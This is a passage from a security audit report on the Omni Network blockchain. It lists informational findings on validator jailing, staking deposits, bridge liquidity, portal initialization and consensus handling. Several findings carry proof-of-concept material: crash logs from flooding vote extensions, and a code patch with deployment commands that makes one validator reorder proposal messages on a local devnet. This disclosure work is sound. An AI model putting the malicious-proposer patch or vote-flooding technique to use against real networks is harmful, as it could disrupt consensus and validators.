2024-10-30 23:02:02    github.com/omni-network/omni/halo/app.abciWrapper.FinalizeBlock({{0x3255cd8?,
↪  0xc002e72fe0?}, 0xc002e72ff0?, 0xc002e73000?}, {0x323a368, 0x7518c80}, 0xc0064e8e40)
2024-10-30 23:02:02    \t/mnt/c/AUDITS/cantina/omni-network/omni/halo/app/abci.go:95 +0x12b
2024-10-30 23:02:02    github.com/cometbft/cometbft/abci/client.(*localClient).FinalizeBlock(0x7fc36c78fbe8?,
↪  {0x323a368?, 0x7518c80?}, 0x7fc3b3a62108?)
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/abci/client/local_client.go:185 +0xc7
2024-10-30 23:02:02    github.com/cometbft/cometbft/proxy.(*appConnConsensus).FinalizeBlock(0xc003526678,
↪  {0x323a368, 0x7518c80}, 0xc0064e8e40)
2024-10-30 23:02:02    \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/proxy/app_conn.go:104
↪  +0x15e
2024-10-30 23:02:02    github.com/cometbft/cometbft/state.(*BlockExecutor).applyBlock(_, {{{0xb, 0x0},
↪  {0xc005fd28f8, 0x7}}, {0xc005fd2920, 0xc}, 0x1, 0x32, {{0xc00732d200, ...}, ...}, ...}, ...)
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/state/execution.go:224 +0x525
```

```
2024-10-30 23:02:02    github.com/cometbft/cometbft/state.(*BlockExecutor).ApplyVerifiedBlock(...)
2024-10-30 23:02:02    \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/state/execution.go:202
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0xc002e78388, 0x33)
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1772 +0xbb4
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0xc002e78388, 0x33)
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1682 +0x2e8
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1617 +0x9c
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).enterCommit(0xc002e78388, 0x33, 0x0)
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1655 +0xc2f
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).addVote(0xc002e78388, 0xc008004a90,
↪  {0xc002f8cf30, 0x28})
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2335 +0x1c6d
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).tryAddVote(0xc002e78388, 0xc008004a90,
↪  {0xc002f8cf30?, 0x0?})
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2067 +0x26
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).handleMsg(0xc002e78388, {{0x32143e0,
↪  0xc002f8f260}, {0xc002f8cf30, 0x28}})
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:929 +0x38b
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc002e78388, 0x0)
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:836 +0x3f1
2024-10-30 23:02:02    created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 139
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398 +0x10c

...

2024-10-30 23:12:31 24-10-31 03:12:31.446 DEBU  ABCI call: Info
2024-10-30 23:12:31 24-10-31 03:12:31.446 WARN Halo height is not increasing, evm syncing? height=50
2024-10-30 23:12:31 24-10-31 03:12:31.446 ERRO Attached omni evm has 0 peers
2024-10-30 23:12:31 24-10-31 03:12:31.729 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|F height=139 attest_offset=41 block_height=139
2024-10-30 23:12:31 24-10-31 03:12:31.758 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|F height=75 attest_offset=34 block_height=75
2024-10-30 23:12:31 24-10-31 03:12:31.796 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=75 attest_offset=34 block_height=75
2024-10-30 23:12:33 24-10-31 03:12:33.855 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|L height=145 attest_offset=43 block_height=145
2024-10-30 23:12:34 24-10-31 03:12:34.093 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|L height=150 attest_offset=41 block_height=150
2024-10-30 23:12:34 24-10-31 03:12:34.488 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|F height=140 attest_offset=39 block_height=140
2024-10-30 23:12:35 24-10-31 03:12:35.808 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=75 attest_offset=34 block_height=75
2024-10-30 23:12:37 24-10-31 03:12:37.399 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|F height=139 attest_offset=41 block_height=139
2024-10-30 23:12:37 24-10-31 03:12:37.711 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|F height=75 attest_offset=34 block_height=75
2024-10-30 23:12:38 24-10-31 03:12:38.587 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|L height=150 attest_offset=41 block_height=150
2024-10-30 23:12:39 24-10-31 03:12:39.295 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|L height=145 attest_offset=43 block_height=145
2024-10-30 23:12:39 24-10-31 03:12:39.596 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|F height=140 attest_offset=39 block_height=140
2024-10-30 23:12:39 24-10-31 03:12:39.836 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=75 attest_offset=34 block_height=75
```

3.7.53 Writefile can leave file partially written

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description `WriteFile` is used throughout multiple places inside the codebase.

as per the WriteFile documentation:

> Since WriteFile requires multiple system calls to complete, a failure mid-operation can leave the file in a partially written state.

- Impact This could lead to unexpected issues whenever `WriteFile` is called within a function, fails, and then retries, as it leaves the file partially written.
- Recommendation might want to consider an alternative

3.7.54 Validator can lose jail fee and remain jailed forcing him to double spend

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description If a validator wants to unjail he can do so by calling `Unjail`. This will emit an event which will be picked up by `deliverUnjail`.

Inside the flow of `deliverUnjail`, msg_server.go/Unjail is called which calls unjail.go/Unjail.

Inside this function several checks are performed, one of which is a check to ensure the validator has the minimum amount of self delegation required to unjail himself. if he does not the function will return an error and fail.

```
//..Omitted code
    tokens := validator.TokensFromShares(selfDel.GetShares()).TruncateInt()
    minSelfBond := validator.GetMinSelfDelegation()
    if tokens.LT(minSelfBond) {
        return errors.Wrapf(
            types.ErrSelfDelegationTooLowToUnjail, "%s less than %s", tokens, minSelfBond,
        )
    }
//..Omitted code
```

The problem is that between the time a validator calls `Unjail` and when `DeliverUnjail` is executed, a validator can get slashed, which may trigger the minimum self-delegation error. This can result in the following scenario:

- Bob unjails by calling `Slashing.sol/Unjail`.
- the unjail fee is now burnt.
- unjailing at block N may take several blocks before the it achieves the necessary quorum of votes.
- During this period Bob is slashed.
- This puts Bob below the minimum minimum self-delegation threshold.
- When quorum is reached `DeliverUnjail` is executed.
- this will now fail due to the minimum delegation check.
- Since this error is not handled properly Bob loses his unjail fee and remains jailed.

This is not a user error as Bob was unaware of being slashed at the time of calling `Unjail`.

Note: Since Bob is still jailed, he has to call `Unjail` again and pay the unjail fee once more, without any guarantee that it will work.

- Impact Bob loses his unjail fee and remains jailed forcing him to double spend the fees by re-calling `Unjail`.
- Recommendation Handle this issue properly.

3.7.55 Insufficient input verification: Slashing.sol:L35

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

```
/**
 * @notice Unjail your validator
 * @dev Proxies x/slashing.MsgUnjail
 */
function unjail() external payable {
    _burnFee();
    emit Unjail(msg.sender);
}

/**
 * @notice Burn the fee, requiring it be sent with the call
 */
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
    payable(BurnAddr).transfer(msg.value);
}
```

The `unjail` function is intended for jailed validators and should rightfully require the `msg.sender` to be a `validator`.

However, this function does not verify whether the caller is a validator or not.

- Recommendation

It is necessary to verify whether the caller is a `validator` in conjunction with `staking.sol`.

3.7.56 Maximum vote in `ExtendVote` is around `7000` before it panics

Severity: Informational

Context: app_config.go#L49

- Description While trying to attack the protocol, I reach the limit in terms of possible votes any validator can return in `ExtendVote` which seems to be limited in **1 MB of in total size** according to the panic stack, which seems to be around `7000 votes`.

The panic is recovered but validator require to be restarted as not able to attest anymore.

So never increase VoteExtLimit to those level.

```
2024-10-30 11:53:39 2024/10/30 15:53:39 ******************************ExtendVote(): GRIEFING BY SENDING
↪  PREVIOUS VOTES (total:7231)
2024-10-30 11:53:39 2024/10/30 15:53:39 ******************************ExtendVote(): final votes: 7232
2024-10-30 11:53:39 24-10-30 15:53:39.558 INFO Voted for rollup blocks                  votes=7 1651-4="[1 2 3
↪  4 5 ...]" 1652-1="[1 2 3 4 5 ...]" 1654-1="[1 2 3 4 5 ...]" 1001651-4="[1 2 3 4 5 ...]" 1652-4="[1 2 3 4 5
↪  ...]" 1654-4="[1 2 3 4 5 ...]" 1651-1="[1 2 3 4 5 ...]"
2024-10-30 11:53:39 24-10-30 15:53:39.566 ERRO Error writing msg to consensus wal. WARNING: recover may not be
↪  possible for the current height module=consensus wal=halo/data/cs.wal/wal {[Vote Vote{0:2679B0B024FB
↪  57/00/SIGNED_MSG_TYPE_PRECOMMIT(Precommit) 11128E6C192E 59ADEE821368 0AB3010A0B08 @
↪  2024-10-30T15:53:39.557039525Z}] } err="msg is too big: 1317916 bytes, max: 1048600 bytes"
2024-10-30 11:53:39 24-10-30 15:53:39.566 ERRO CONSENSUS FAILURE!!!                    module=consensus
↪  err="failed to write {[Vote Vote{0:2679B0B024FB 57/00/SIGNED_MSG_TYPE_PRECOMMIT(Precommit) 11128E6C192E
↪  59ADEE821368 0AB3010A0B08 @ 2024-10-30T15:53:39.557039525Z}] } msg to consensus WAL due to msg is too big:
↪  1317916 bytes, max: 1048600 bytes; check your file system and restart the node"
2024-10-30 11:53:39   stack=
2024-10-30 11:53:39    goroutine 299 [running]:
2024-10-30 11:53:39    runtime/debug.Stack()
2024-10-30 11:53:39    \t/usr/local/go1.23.2/src/runtime/debug/stack.go:26 +0x5e
2024-10-30 11:53:39    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()
2024-10-30 11:53:39
↪  \t/home/elajeunesse/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:801 +0x46
2024-10-30 11:53:39    panic({0x25d7200?, 0xc008ce37d0?})
2024-10-30 11:53:39    \t/usr/local/go1.23.2/src/runtime/panic.go:785 +0x132
2024-10-30 11:53:39    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc00259a388, 0x0)
2024-10-30 11:53:39
↪  \t/home/elajeunesse/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:841 +0x825
2024-10-30 11:53:39    created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 229
2024-10-30 11:53:39
↪  \t/home/elajeunesse/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398 +0x10c
```

3.7.57 Performing a second `xcall` during a current `xsubmit` will fail due to `nonReentrant`

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

In the `OmniPortal`, in use case where the function called in `xsubmit` performs another `xcall` in the same transaction (for instance, `xsubmit` calls a function in the destination contract that will call `xcall` on the `OmniPortal` in order to send some data back from Connected chain => Origin chain), it will fail because of the `nonReentrant` modifier.

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
```

As can be seen both functions have the nonReentrant modifier, this means call will fail in the same transaction, because no two nonReentrant functions from the same contract can be called at the same time.

- Recommendation

Remove the `nonReentrant` modifiers from `xcall`.

3.7.58 If createValidator is called more than once, funds will be lost

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

Staking.sol:L89

```
/**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

When a user calls `createValidator` more than once, the contract does not check if the user is already a registered validator.

As a result, funds are deposited into the contract on the second call.

But

in evmstaking.go

```
// deliverCreateValidator processes a CreateValidator event, and creates a new validator.
// - Mint the corresponding amount of $STAKE coins.
// - Send the minted coins to the depositor's account.
// - Create a new validator with the depositor's account.
//
// NOTE: if we error, the deposit is lost (on EVM). consider recovery methods.
func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator) error {
    pubkey, err := k1util.PubKeyBytesToCosmos(ev.Pubkey)
    if err != nil {
        return errors.Wrap(err, "pubkey to cosmos")
    }

    accAddr := sdk.AccAddress(ev.Validator.Bytes())
    valAddr := sdk.ValAddress(ev.Validator.Bytes())

    amountCoin, amountCoins := omniToBondCoin(ev.Deposit)

    if _, err := p.sKeeper.GetValidator(ctx, valAddr); err == nil {
        return errors.New("validator already exists")
    }
...
```


However, within the `deliverCreateValidator` function in `evmstaking.go`, a check for duplicate validators is performed.

As a result, the user ends up losing their funds.

- Recommendation

It is necessary to perform a duplicate check for validators in the `Staking.createValidator` function.

3.7.59 Uninitialization of supported chains and shards causes denial of service

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary No supported chains and shards are set when `OmniPortal` is initialized, making it impossible to invoke `xcall()`. As such, the portal can not make cross-chain calls or state-modifying calls to itself.
- Finding Description

Omni network's architecture is underpinned by `xcall`, which can be used to call contracts on other chains, or to call functions on itself. `xcall` keeps track of supported destinations with a mapping as shown below;

OmniPortalStorage.solL#71

```
    /**
     * @notice Maps chain ID to true, if the chain is supported.
     */
    mapping(uint64 => bool) public isSupportedDest;
```

At initialization, no supported networks or shards are set. So an `xcall` to `setNetwork()` is required to set these values. However, an `xcall` requires that the `destChainId` be true in the `isSupportedDest` mapping.

OmniPortal.solL#136

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
```

As no supported chains and shards have been set, this completely blocks the execution of xcall, causing **denial of service**. No cross-chain calls can be made, nor can state-modifying functions on itself be invoked.

- Impact Explanation For Instance, `Omni` admin starts the deployment process of an `OmniPortal` (say on Ethereum L1);
- OmniPortal contract is predeployed and initialized
- Consensus chain attempts to invoke `xcall` to set network of supported chains and shards
- `XCall` fails as `destChainId` is unsupported

The Portal is effectively disabled from making cross-chain calls, calling `setNetwork()` and `addValidatorSet()` functions, as no supported destinations have been set. Conversely, it can not process external calls to itself through `xsubmit()` and `_exec()`, as no supported shards have been set either.

- Likelihood Explanation As no supported networks and shards are set during initialization, this issue will show up once calls to ancillary functions inevitably revert.
- Recommendation (optional) During initialization, a set of supported chains and shards should be set, as the alternative of freeing access control in `xcall` will lead to a larger attack surface area.

OmniPortal.solL#136

```
    struct InitParams {
        address owner;
        address feeOracle;
        uint64 omniChainId;
        uint64 omniCChainId;
        uint64 xmsgMaxGasLimit;
        uint64 xmsgMinGasLimit;
        uint16 xmsgMaxDataSize;
        uint16 xreceiptMaxErrorSize;
        uint8 xsubValsetCutoff;
        uint64 cChainXMsgOffset;
        uint64 cChainXBlockOffset;
        uint64 valSetId;
        XTypes.Validator[] validators;
        XTypes.Chain[] network; // add network to InitParams
    }

    function initialize(InitParams calldata p) public initializer {
        __Ownable_init(p.owner);

        _setFeeOracle(p.feeOracle);
        _setXMsgMaxGasLimit(p.xmsgMaxGasLimit);
        _setXMsgMaxDataSize(p.xmsgMaxDataSize);
        _setXMsgMinGasLimit(p.xmsgMinGasLimit);
        _setXReceiptMaxErrorSize(p.xreceiptMaxErrorSize);
        _setXSubValsetCutoff(p.xsubValsetCutoff);
        _addValidatorSet(p.valSetId, p.validators);
        _setNetwork(p.network); // set supported chains and shards during initialization

        omniChainId = p.omniChainId;
        omniCChainId = p.omniCChainId;

        // omni consensus chain uses Finalised+Broadcast shard
        uint64 omniCShard = ConfLevel.toBroadcastShard(ConfLevel.Finalized);
        _setInXMsgOffset(p.omniCChainId, omniCShard, p.cChainXMsgOffset);
        _setInXBlockOffset(p.omniCChainId, omniCShard, p.cChainXBlockOffset);
    }
```


3.7.60 Funds could be loss if there is not enougt funds in the `OmniBridgeNative`

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description As we can see in the `OmniBridgeNative` there is a check if the `omniBridgeL1` have enough funds to do the bridge safetly and the tx does not revert because out funds in the bridgeL1 contract:

```
function _bridge(address to, uint256 amount) internal {
        require(to != address(0), "OmniBridge: no bridge to zero");
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(amount <= l1BridgeBalance, "OmniBridge: no liquidity"); <----
        ...
}
```

[Link]

The problem is that this check is missing in the l1 bridge checking if the `OmniBridgeNative` have enough funds, this ois unlikely to happen but still could happing if some major bug is discover in the `OmniBridgeNative` or even if this contract change in the future.

- Impact User could loss his funds bridging tokens from l1 to omni chain.
- Proof of Concept

We can see that the `Bridge` function is not implementing the check:

```
function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");
        ....
}
```

No more checks in the l1Bridge.

- Recommendation Consider check for the omni balance exaclty how the omniNative is checking for the l1 balance.

3.7.61 Upgrade to `cometbft v0.38.13` released on October 24th

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description I would recommend to upgrade to the latest cometbtf (**v0.38.13**) which fix few minor issues, but the most concerning would be the upgrade to Go 1.22 of `cometbft-db` as follow.

```
We are updating CometBFT dependencies to fix new CVE vulnerabilities.
Cometbft-db v0.9.5 updates its Go version to 1.22 and updates some of
its dependencies vulnerable to CVEs.
```

3.7.62 Not all custom modules accounts are blocklisted

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

The omni chain has 8 custom modules, such as evmslash/evmstaking/evmupgrade/attest/portal, etc, according the cosmos sdk blog:

```
The x/bank module accepts a map of addresses that are considered blocklisted from directly and explicitly
↪  receiving funds through means such as MsgSend and MsgMultiSend and direct API calls like
↪  SendCoinsFromModuleToAccount.

Typically, these addresses are module accounts. If these addresses receive funds outside the expected rules of
↪  the state machine, invariants are likely to be broken and could result in a halted network.

By providing the x/bank module with a blocklisted set of addresses, an error occurs for the operation if a
↪  user or client attempts to directly or indirectly send funds to a blocklisted account, for example, by
↪  using IBC (opens new window).
```

we can know the custom modules accounts should be blocklisted, but the current only block one part of them:

```
https://github.com/omni-network/omni/blob/1703c8a5c75c2d618c903bc3ac4e67e7606c39c2/halo/app/app_config.go#L84:

    // blocked account addresses.
    blockAccAddrs = []string{
        authtypes.FeeCollectorName,
        distrtypes.ModuleName,
        stakingtypes.BondedPoolName,
        stakingtypes.NotBondedPoolName,
        evmstaking.ModuleName,
    }
```

while the others custom modules accounts are not blocklisted. This may lead to the module accounts receiving funds from outside accounts and break the invariants.

- Recommendation

Add the other custom modules accounts to the blocklist.

3.7.63 There's no function to remove or update existing registrations in PortalRegistry

Severity: Informational

Context: PortalRegistry.sol#L89

- Description

While the contract implements registration functionality, it does not provide mechanisms to:

- Remove outdated or compromised portal registrations
- Update portal information for existing registrations
- Handle emergency situations requiring portal deactivation

The current implementation is missing critical admin functions for:

- Portal removal
- Portal updates
- Emergency deactivation

As it is:

- Once registered, portal information cannot be modified
- Compromised portals cannot be removed
- No mechanism to respond to critical situations
- Recommendation Add functions that could update, pause and remove portals.

```
function removePortal(uint64 chainId) external onlyOwner {
     Deployment memory dep = deployments[chainId];
     require(dep.addr != address(0), "PortalRegistry: not registered");

     delete deployments[chainId];
     // Remove chainId from chainIds array
     emit PortalRemoved(chainId, dep.addr);
 }

 function updatePortal(
     uint64 chainId,
     uint64 newAttestInterval,
     uint64 newBlockPeriodNs
 ) external onlyOwner {
     require(deployments[chainId].addr != address(0), "PortalRegistry: not registered");
     require(newAttestInterval > 0, "PortalRegistry: zero interval");
     require(newBlockPeriodNs > 0, "PortalRegistry: zero period");

     deployments[chainId].attestInterval = newAttestInterval;
     deployments[chainId].blockPeriodNs = newBlockPeriodNs;

     emit PortalUpdated(chainId, deployments[chainId].addr, newAttestInterval);
 }
```


3.7.64 Improve the readability of `xcall`

Severity: Informational

Context: OmniPortal.sol#L131

By grouping all the checks and ensuring security after, the function reads better, just look at it now,

```
function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable
    whenNotPaused(ActionXCall, destChainId)
{
    // conf level will always be last byte of shardId. for now, shardId is just conf level
    uint64 shardId = uint64(conf);
    uint256 fee = feeFor(destChainId, data, gasLimit);

    require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
    require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
    require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
    require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
    require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");
    require(msg.value >= fee, "OmniPortal: insufficient fee");
    require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

    outXMsgOffset[destChainId][shardId] += 1;

    emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit, fee);
}
```

3.7.65 Unordering of new validator sets can invalidate still valid validator sets, and also cause denial of service

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary `addValidatorSet()` takes an arbitrary `valSetId` for new Validator set, potentially causing new validator ordering issues, and rendering still new validator sets that are within the range specified in `xsubValSetCutoff` invalid.
- Finding Description

When the consensus chain adds a new Validator set, it passes in the `valSetId` into the `addValidatorSet()` function.

OmniPortal.sol#L357

```
    function addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) external {
```

It also checks to make sure it is a new Validator set, and no Validator was previously stored with that `valSetId`;

OmniPortal.sol#L357

```
    require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");
```

This prevents the consensus chain from overwriting an already existing Validator set. But the passing of the `valSetId` as a parameter introduces a new possible error point. An arbitrary `valSetId` much greater than `latestValSetId` can be used, effectively invalidating still valid Validator sets, as the xsubmit() function uses `_minValSetId()` to get the lowest possible `Validator` set than can sign the `AttestationRoot` of `Xmsgs` and reach a `Quorum` on an `XSubmission`.

It can also cause denial of service, when `latestValSetId` is progressively incremented, and reaches the `valSetId` that was initialized out of order.

- Impact Explanation I mark this as Hign because it can stop Validator sets from being able to reach a Quorum on XMsgs, as they will be marked as old Validator sets due to this calculation in `_minValSet()`, once `latestValSetId > xsubValsetCutoff`.
- Proof of Concept The steps below demonstrate this vulnerability;
- `xsubValsetCutoff = 10, latestValSetId = 14. ((14 - 10) + 1) = 5`, so Validator sets with valSetId from 5 to 14 can reach quorum and submit `XMsgs`
- Consensus chain adds new Validator set with `valSetId = 18`. Since there is no check to ensure strict ordering, the call is executed successfully.

- `latestValSetId = 18`, so `_minValSet()` is `((18 - 10) + 1) = 9`. Validator sets `6,7,8` are still valid Validators, as they are still part of the ten currently accepted validators `6,7,8,9,10,11,12,13,14,18`, but they can no longer sign the `AttestationRoot` of `XMsgs` and reach a valid `Quorum`.
- Recommendation

`_addValidatorSet` should be modified to not take valSetId as a parameter. Instead `latestValSetId` should be incremented to get the next `valSetId`.

OmniPortal.sol#L369

```
    function _addValidatorSet(XTypes.Validator[] calldata validators) internal {
        uint64 valSetId = latestValSetId + 1;
    }
```

3.7.66 Single `malicious validator` can `propose inverted messages` and everything works fine

Severity: Informational

Context: abci.go#L140-L144

- Context `ProcessProposal` is an ABCI phase phase which require to be **deterministic**.

```
The logic in ProcessProposal MUST be deterministic.
```

- Description I have a `minor concern` which is that a malicious proposer can **inverse** message processing in ProcessProposal, so usually `AddVote` is called first, and then `ExecutionPayload`, but that can be inversed. This has the potential to break the consensus if at some point if some business logic is added the depends on the other execution, but since I'm not seeing anything harmful with it, only submitting as `Info`.
- Proof of Concept I'm using the `e2e framework` to proove the problem using the `fuzzyhead` network which include 4 validators. So the idea is after reaching 50 blocks, whenever a specific validator (in my case I pick validator1 --> 2679b0b) is proposing, I will activate this attack which will be inversing the messages order.

Apply those changes and do the following commands from project root.

- `make build-docker` (to build the docker images with the new changes which include the hack)
- `make devnet-deploy2` (to deploy the local network)
- `make devnet-clean2` (to stop it once you confirmed the issue)

Open docker console (at least in Windows, or fetch the logs manually from validators containers), you will see the problem occurs at some point after block 50. In my case it was at `block 54`.

You can see validator 1 and validator 2 output, and how block 54 the message processing is inversed, while it's in the proper order otherwise (block 53)

Makefile

```
@@ -76,6 +76,16 @@ devnet-clean: ## Deletes devnet1 containers
        @echo "Stopping the devnet in ./e2e/run/devnet1"
        @go run github.com/omni-network/omni/e2e -f e2e/manifests/devnet1.toml clean

+.PHONY: devnet-deploy2
+devnet-deploy2: ## Deploys fuzzyhead
+       @echo "Creating a docker-compose devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml deploy
+
+.PHONY: devnet-clean2
+devnet-clean2: ## Deletes fuzzyhead containers
+       @echo "Stopping the devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml clean
+
 .PHONY: e2e-ci
 e2e-ci: ## Runs all e2e CI tests
        @go install github.com/omni-network/omni/e2e
```

octane/evmengine/keeper/abci.go

```
    // Create execution payload message
    payloadData, err := json.Marshal(payloadResp.ExecutionPayload)
    if err != nil {
        return nil, errors.Wrap(err, "encode")
    }

+     var globalPrososer string
+   h := hex.EncodeToString(req.ProposerAddress)
+   const maxLen = 7
+   if len(h) > maxLen {
+       h = h[:maxLen]
+   }
+   globalPrososer = h
+
+
+   headtmp, err := k.getExecutionHead(ctx)
+   attack := false
+   // Only infect a specific proposer when it's his turn to propose
+   if globalPrososer == "2679b0b" { // validator 1
+       // sometimes make malicious Withdrawals
+       if headtmp.GetBlockHeight() > 50 {
+           nativeLog.Printf("*******************************Octane::Keeper::PrepareProposal(): INFECTING TX
↪  order")
+           attack = true
+       }
+   }
+
+   b := k.txConfig.NewTxBuilder()
+   if attack {
+       var msgs []sdk.Msg
+       msgs = append(msgs, payloadMsg)
+       msgs = append(msgs, voteMsgs...)
+       if err := b.SetMsgs(msgs...); err != nil {
+           return nil, errors.Wrap(err, "set tx builder msgs")
+       }
+   } else {
+       // Combine all the votes messages and the payload message into a single transaction.
+       if err := b.SetMsgs(append(voteMsgs, payloadMsg)...); err != nil {
+           return nil, errors.Wrap(err, "set tx builder msgs")
+       }
+   }
+
```


OUTPUT

```
Val1 (proposer == 2679b0b)
--------
2024-10-31 15:18:59 24-10-31 19:18:59.692 DEBU  ABCI call: ProcessProposal            height=53 proposer=61a2a25
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
